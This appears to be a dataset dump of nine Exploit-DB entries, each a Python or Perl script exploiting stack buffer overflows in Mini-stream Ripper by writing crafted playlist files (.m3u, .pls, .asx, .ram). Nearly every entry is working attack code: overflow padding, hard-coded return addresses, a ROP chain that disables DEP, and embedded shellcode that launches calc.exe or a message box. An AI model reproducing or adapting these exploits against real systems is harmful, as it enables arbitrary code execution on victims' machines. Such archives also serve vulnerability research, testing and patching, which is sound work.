deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36501
Description: Mini-stream Ripper 2.7.7.100 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-03-26
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/env python
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Mini-sream Ripper v2.7.7.100 Local Buffer Overflow
#[+] Date: 25-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/43/Mini-streamRipper.exe?token=[PII_REDACTED]_8d9c5d7d948871f54ae14ed9304d1ddf&fileName=Mini-streamRipper.exe
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Original POC:
#    http://www.exploit-db.com/exploits/11197/
#POC:
#IMG1:
#http://i.imgur.com/ifXYgwx.png
#IMG2:
#http://i.imgur.com/ZMisj6R.png
from struct import pack
file="crack.m3u"
junk="\x41"*35032
eip=pack('<I',0x7C9D30D7)
junk2="\x44"*4
#Messagebox Shellcode (113 bytes) - Any Windows Version By Giuseppe D'Amore
#http://www.exploit-db.com/exploits/28996/
shellcode= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
         "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
          "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
           "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
writeFile = open (file, "w")
writeFile.write(junk+eip+junk2+shellcode)
writeFile.close()
Exploit-DB #17847
Description: Mini-stream Ripper 2.9.7 - DEP Bypass
Type: local
Platform: windows
Date: 2011-09-16
Author: blake

Exploit:
# written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "\n============================"
print "Mini-Stream 2.9.7 DEP Bypass"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================\n"
 
# calc.exe
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
 
buffer = "\x41" * 26084
eip = "\x95\x3a\x02\x10"	# RETN - MSRfilter01.dll
rop = "\x41" * 4			# compensate
rop += "\x54\x30\x01\x10"	# POP EBX, RETN - MSRfilter01.dll
rop += "\xff\xff\xff\xff"
rop += "\x23\xda\x02\x10"	# INC EBX, FPATAN, RETN - MSRfilter01.dll
rop += "\x8f\xaf\x01\x10"	# POP EBP, RETN - MSRfilter01.dll
rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
rop += "\x8f\xf4\x01\x10"	# POP EDI, RETN - MSRfilter01.dll
rop += "\x90\xf4\x01\x10"	# RETN - MSRfilter01.dll
rop += "\xd5\x13\x01\x10"	# POP ESI, RETN - MSRfilter01.dll
rop += "\x90\xf4\x01\x10"	# RETN - MSRfilter01.dll
rop += "\x63\xf5\x01\x10"	# PUSHAD, RETN - MSRfilter01.dll
nops = "\x90" * 100
junk = "\x43" * (4000 - len(shellcode + nops + rop))


print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n")
Exploit-DB #17744
Description: Mini-stream Ripper 2.9.7.273 - '.m3u' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2011-08-29
Author: D3r K0n!G

Exploit:
#!/usr/bin/perl
# Exploit Title: Mini-stream Ripper 2.9.7.273 (.m3u) Universal Buffer Overflow
# Date: 28/08/2011
# Author: D3r K0n!G
# Version: 2.9.7.273
# Tested on: Windows XP SP3
# CVE : N/A
# Greets to: All my friends   
# sec4ever.com & h4kz.net
my $file = "mini.m3u";
my $buff = "\x41" x 26087;
my $eip = pack ('V',0x01E4E15D);	# call esp from MSRcodec06.dll 
#And you can use (0x01B5273C) push esp + ret from MSRcodec00.dll
my $shellcode = "\x90" x 25;
#msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | ruby msfencode -e x86/alpha_upper -t c
$shellcode = $shellcode . "\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43".
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34".
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41".
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30".
"\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52".
"\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b".
"\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50".
"\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c".
"\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54".
"\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b".
"\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c".
"\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31".
"\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47".
"\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54".
"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e".
"\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30".
"\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51".
"\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51".
"\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45".
"\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50".
"\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56".
"\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a".
"\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c".
"\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38".
"\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b".
"\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d".
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d".
"\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53".
"\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43".
"\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35".
"\x45\x50\x41\x41";
open($FILE, ">$file");
print $FILE $buff.$eip.$shellcode;
close($FILE);
Exploit-DB #8632
Description: Mini-stream Ripper 3.0.1.1 - '.asx' 'HREF' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-07
Author: G4N0K

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
	Mini-stream Ripper 3.0.1.1 .ASX File (HREF) Local Buffer Overflow Exploit
==============================================================================
	[Â»] Script:.............[ Mini-stream Ripper 3.0.1.1 ]..................
	[Â»] Website:............[ http://mini-stream.net/ ].....................
	[Â»] Today:..............[ 07052009 ]....................................
	[Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

	[x] tested on Windows XP SP2...
	[x] if you are not able to make this shit work, just put it in the Base/Root
	    of a Drive/Partition, like "C:\gnk.asx"...

=cut

my $MSD = "G" x 26110;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

my $ASX = 
"<asx version=\"3.0\">
  <title>Title is not important.</title>
  <entry>
    <title>Example...</title>
    <ref href=\"".$MSD.$RA.$SMN.$Shcode."\" />
    <author>G4N0K</author>
    <copyright>Â©2009 G4N0K</copyright>
  </entry>
</asx>";

  open(ASX,'>>gnk.asx');
  print ASX $ASX;
  close(ASX);

# milw0rm.com [2009-05-07]
Exploit-DB #11682
Description: Mini-stream Ripper 3.0.1.1 - '.m3u' HREF Buffer Overflow
Type: local
Platform: windows
Date: 2010-03-10
Author: l3D

Exploit:
#!/usr/bin/env python
#Mini-stream Ripper 3.0.1.1 (.m3u) Buffer Overflow Code Execution
#Software Link: http://www.mini-stream.net/downloads/Mini-streamRipper.exe
#Author: l3D
#Site: http://xraysecurity.blogspot.com
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com

nops1='\x90'*0x2a80
#system("calc") - Metasploit.com
shellcode=("\xb8\x19\xfc\x3c\x9b\xd9\xc4\x31\xc9\xb1\x32\xd9\x74\x24\xf4"
"\x5b\x83\xeb\xfc\x31\x43\x0e\x03\x5a\xf2\xde\x6e\xa0\xe2\x96"
"\x91\x58\xf3\xc8\x18\xbd\xc2\xda\x7f\xb6\x77\xeb\xf4\x9a\x7b"
"\x80\x59\x0e\x0f\xe4\x75\x21\xb8\x43\xa0\x0c\x39\x62\x6c\xc2"
"\xf9\xe4\x10\x18\x2e\xc7\x29\xd3\x23\x06\x6d\x09\xcb\x5a\x26"
"\x46\x7e\x4b\x43\x1a\x43\x6a\x83\x11\xfb\x14\xa6\xe5\x88\xae"
"\xa9\x35\x20\xa4\xe2\xad\x4a\xe2\xd2\xcc\x9f\xf0\x2f\x87\x94"
"\xc3\xc4\x16\x7d\x1a\x24\x29\x41\xf1\x1b\x86\x4c\x0b\x5b\x20"
"\xaf\x7e\x97\x53\x52\x79\x6c\x2e\x88\x0c\x71\x88\x5b\xb6\x51"
"\x29\x8f\x21\x11\x25\x64\x25\x7d\x29\x7b\xea\xf5\x55\xf0\x0d"
"\xda\xdc\x42\x2a\xfe\x85\x11\x53\xa7\x63\xf7\x6c\xb7\xcb\xa8"
"\xc8\xb3\xf9\xbd\x6b\x9e\x97\x40\xf9\xa4\xde\x43\x01\xa7\x70"
"\x2c\x30\x2c\x1f\x2b\xcd\xe7\x64\xc3\x87\xaa\xcc\x4c\x4e\x3f"
"\x4d\x11\x71\x95\x91\x2c\xf2\x1c\x69\xcb\xea\x54\x6c\x97\xac"
"\x85\x1c\x88\x58\xaa\xb3\xa9\x48\xc9\x52\x3a\x10\x0e")
nops2='\x90'*(0xa9ff-len(nops1+shellcode))
ret='\x30\x3D\x0D'
payload=nops1+shellcode+nops2+ret

evil="""<ASX Version="3.0">
<ENTRY>
    <REF HREF="%s"/>
</ENTRY>
</ASX>
""" % payload

bad=open('crash.m3u', 'w')
bad.write(evil)
bad.close()
Exploit-DB #8416
Description: Mini-stream Ripper 3.0.1.1 - '.m3u' Universal Stack Overflow
Type: local
Platform: windows
Date: 2009-04-13
Author: Stack

Exploit:
#!/usr/bin/perl
# Mini-stream Ripper Version 3.0.1.1 .m3u Universal Stack Overflow Exploit
# Disoverd By Cyber-Zone
# Exploited By Stack
my $Header = "#EXTM3U\n";
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $ex="http://"."A" x 26117;
my $ret="\x1D\xE3\x07\x02"; # Universall Ret Adress and if you want Test it under WinSP2 EN/FR use this >>
      # "\x5D\x38\x82\x7C";
my $nop="\x90" x 20;
open(MYFILE,'>>Mini-stream-Ripper.m3u');
print MYFILE $Header.$ex.$ret.$nop.$shellcode;
close(MYFILE);

# milw0rm.com [2009-04-13]
Exploit-DB #10782
Description: Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-29
Author: jacky

Exploit:
#Mini-Stream Ripper v3.0.1.1 Universal BOF !!!
#Discovered by ( mr_me) !!!
#Coded and Written by (Jacky)
#Greetz to Peter Van Eeckhoutte and all Corelanc0d3r team :D
#This time i exploited the program and i used as RET address a Universal one from MSRcodec00.dll
#And i haven't seen anyone using a universal address so i decided to do so ! ;-)
my $file="crash.pls";
print "Mini-Stream Ripper 3.0.1.1 Universal BOF vulnerability\n";
print "Greetz to Peter Van Eeckhoutte and Corelanc0d3r Team\n";
my $junk="A"x26074;
my $eip=pack('V',0x0146b87b);  #>>>From MSRcodec001.dll (Universal address ;-) )
my $presc="SEXY";         # 4 Bytes to fill the pre-esp area !
my $esp="\x90"x25;
$esp=$esp."\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c".
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34".
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48".
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a".
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b".
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43".
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x30\x5a";

open(HOLA,">$file");
print HOLA $junk.$eip.$presc.$esp;
print "[+] Done!!!\n";
print "Written By Jacky\n";
close(HOLA);
Exploit-DB #10787
Description: Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-29
Author: jacky

Exploit:
#Mini-stream Ripper 3.0.1.1 .pls Universal BOF!!!
#Discovered by : (mr_me) [Greetz to him ;-) ]
#Written by : (Jacky )!
#Greetz to Peter Van Eeckhoutte and Corelanc0d3r Team !
#I used a UNIVERSAL Address here , so the exploit should run on many OS correctly!
#This Exploit is for EDUCATIONAL PURPOSES ONLY !!!
junk="A"*26074
print "Mini-stream Ripper 3.0.1.1 .pls Universal BOF Vulnerability\n"
print "Greetz to Peter Van Eeckoutte and Corelanc0d3r team\n"
eip="\x7b\xb8\x46\x01"
presc="SEXY"
esp="\x90"*25
esp +=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38"
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b"
"\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x30\x5a")
file=open('crash2.pls','w')
file.write(junk+eip+presc+esp)
print "[+]Done!!!\n"
print "Written by Jacky\n"
file.close()
Exploit-DB #8631
Description: Mini-stream Ripper 3.0.1.1 - '.RAM' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-07
Author: G4N0K

Exploit:
#!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
	Mini-stream Ripper 3.0.1.1 (.RAM) Local Buffer Overflow Exploit
==============================================================================
	[Â»] Script:.............[ Mini-stream Ripper 3.0.1.1 ]..................
	[Â»] Website:............[ http://mini-stream.net/ ].....................
	[Â»] Today:..............[ 07052009 ]....................................
	[Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

	[x] tested on "Windows XP SP2"... [:-)
	
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07]